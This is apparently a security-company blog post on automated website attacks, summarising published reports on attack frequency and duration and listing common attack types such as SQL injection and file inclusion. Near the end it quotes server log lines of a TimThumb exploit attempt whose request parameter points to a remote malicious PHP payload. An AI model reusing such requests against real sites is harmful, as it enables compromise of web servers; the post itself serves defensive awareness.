Automation is Key With Today’s Website Attacks

When trying to understand the anatomy of attacks on websites, you have to break it down into manageable parts. In my mind it really comes down to two types: Targeted and Opportunistic.

It is important to understand is how the attack is executed. That’s what I want to spend some time on in this post.

What Do Today’s Attacks Look Like?

For most, targeted attacks will be rare, even though they happen every day. You might recall mentions on the news about the CIA website being defaced, or LinkedIn and eHarmony being compromised. These are targeted attacks. There are also examples like the most recent article that talked to the Gizmodo employee who appeared to have lost his entire digital identity, simply because the attacker liked his Twitter handle.

On the flip side, you have opportunistic attacks that are the most common. I provide a better discussion on it in our post, Understanding Opportunistic Attacks. The good news though is that in both instances you find many similarities in the attacks, specifically the use of tools that allow for automation.

Setting the Foundation

To help understand automation we’ll make use of a report that was released in July by Imperva. It’s titled Web Application Report, Edition 3 – Released July 2012, and in it they summarize their findings after a six month period in which they randomly selected 50 websites and actively monitored their attacks. Highlights of what they found include:

• Expect attack incidents 120 days per year (33%) of the time, some can experience 292 days (80%)
• Attacked 274 times per year
• Attack campaigns averages 7 minutes 42 seconds, can range upward from there
• SQL injection is the most frequent attack

While a sample group of 50 websites is relatively small and likely not very representative of the close to 800,000,000 websites on the interwebs today, it is useful in understanding what automation means and more importantly, seeing what some of those attacks look for.

When reading their report it’s important to get your baseline as to how their data analysis was conducted and their presentation methodology.

So to help summarize:

• Their study did not place focus on the number of malicious requests, instead on something they call an attack incident.
• That attack incident in turn can be comprised of multiple malicious requests.
• The definition of an attack incident was set as an event in which a minimum of 30 requests were made in a 5 minute period (averages out to 1 attack every 10 seconds).
• They then introduced the concept of a battle days where at a minimum, one attack incident occurred.

With this understanding we are better prepared to digest the data.

The Data

Their summary chart is a good place to start when digesting the report:

Here you can see some very good quantifiable data points on what automation really means and what it looks like.

For instance:

• In a six month period, the median battle days was 59, while the worst case scenario had it at 141. Reminder that the median is not to be confused with average, it’s the middle value that separates the top half from the bottom half. In other words, 50% of the sites had more than 59 battle days, while the other 50% had less than 59 battle days. The 141 means that at a minimum, one site had 141 battle days.
• In the same group, they had a median of 137 attack incidents with a worst-case scenario of 1,383. This does not correlate the 1,383 attack incidents with the 141 battle days. What it does tell us is that at a minimum, those incidents – 137 and 1,383 – both contain at least 30 requests within a 5 minute period. So in the case of the 137 attack incidents you’re looking at 4,110 requests and in the case of 1,383, you’re looking at 41,490 requests. While grossly underestimated, it’s good to paint a more complete picture in terms of what the websites experienced over a six month period.
• The last thing to pay mind to is the duration of each attack incident. In the chart, we see that the median is set at 7.70 minutes while in the worst case scenario they found it to be about 79 minutes. In our own experience we have seen attacks take as long as 4 days, which translates roughly to 5,760 minutes.

I found this all very fascinating. For me, it gave me a much better idea of what automation looks like. Specifically, how it is employed in today’s attacks.

The shear volume of the attacks in the incident, and attack days, makes it highly impractical to think it is anything but an automated process. With that assumption, taking a look at what the attacks were comprised of was another great addition to the report.

In their analysis they summarized the attacks into 8 categories. Here I’ll focus on the ones I think impact our readers the most.

• SQL Injection (SQLi)
• Remote File Inclusion (RFI)
• Local File Inclusion (LFI)
• Directory Traversal (DT)
• Cross-Site Scripting (XSS)

From that, this was the distribution of those groups in attack incidents within the sample group:

In each case, here is the summarized duration of those same attacks within the sample group:

Again, this does not mean that this is the same distribution you can come to expect, instead it’s meant to better illustrate what automated attacks look like and how they target different vulnerabilities.

The first table shows that within the six month test period (and restricted to their sample group) the median attack incident was 17.50 for SQL injection attacks, so 50% of the incidents were above this and 50% below.

This doesn’t mean that they were successful, just that the attempt was recorded. In that same sample group, the max attack incidents was recorded at 320 for that same category – SQL injection.

The second table then shows you that of all the incidents, the median was 8.39 minutes for SQLi, 7.50 minutes for RFI, 7.83 minutes for LFI, and so on.

The Key is Automation

If you find yourself scratching your head, I do apologize and hope to clarify the discussion in this section.

What the data provides us is insight that helps affirm opinions around how attacks work, specifically the automation of attacks. Because of the sheer volume of attacks today, automation is the only real answer to explain the surge in infections over the past two years.

Automation is key because it offers a number of benefits to the attackers. For instance:

• Allows for mass exposure – reach more sites quickly, versus individually
• Reduces the overhead of following more traditional steps – Reconnaissance, Information Gathering, Strategy, Execution
• Provides tools to the inexperienced
• Increases odds of success, allows for a high-rate of communication between the host and the attacker, in some instances capable of taking down a server or quickly ascertaining a vulnerability before a system is able to respond

That being said, automated attacks still carry with them similarities:

• Scan for potential victims
• Comprise the victim using tool
• Keep control of the environment

Often you can expect the scanning and compromise to happen simultaneously, like what you see above. Those attacks were automated scans looking to exploit known vulnerabilities in each of those categories.

Here is a real-world example on my own server in which you can see the attack attempting to (1) identify the vulnerability, TimThumb, and if found (2) exploit it by passing a parameter that then referenced the malicious payload:

X.X.X.X – – “GET /%22%20class=%22resultLink/wp-content/themes/groovyvideo/thumb.php?src=http://picasa…alcode.com/andalas.php HTTP/1.1” 404
X.X.X.X – – “GET /wp-content/themes/groovyvideo/thumb.php?src=http://picasa.co…onalcode.com/andalas.php HTTP/1.1” 404
X.X.X.X – – “GET /%22%20class=%22resultLink/wp-content/themes/groovyvideo/thumb.php?src=http://pica…lcode.com/andalas.php HTTP/1.1” 404
X.X.X.X – – “GET /wp-content/themes/groovyvideo/thumb.php?src=http://picas…ionalcode.com/andalas.php HTTP/1.1” 404

In these implementations, while they automate attacks, they are still managed by an individual or group of individuals. That unfortunately is but one component of these attacks.

More sophisticated automation tools are embedded within worms and housed within malware networks (malnets). This was best articulated in Blue Coat’s 2011 Web Security Report, in which they kick off the report by saying:

…malnets (malware networks) emerged as the next evolution in the threat landscape. These infrastructures last beyond any one attack, allowing cybercriminals to quickly adapt to new vulnerabilities and repeatedly launch malware attacks. By exploiting popular places on the Internet, such as search engines, social networking and email, malnets have become very adept at infecting many users with little added investment.

They go on to provide a nice illustration in which they identify the top 5 malnets for the year and more importantly, provide good information on what each malnet is designed to do and how they scale based on when an attack occurs or when it goes into hibernation.

To help grasp the global reach of these malnets, they even provide a nice illustration showing how each malnet is geographically dispersed:

Yes, all this can be a bit overwhelming, to myself included, but the fact remains that the interwebs is a dangerous place. Attacks today have nothing to do with you as an individual in most cases, and rarely are targeted – using rarely loosely when you think about the 800 million websites – it’s about maximum impact and monetization, or financial gain.

So the question needs to change from, “Why me?” and “It’d never happen to me!” to “How do I become better prepared and informed about today’s threats on the web?”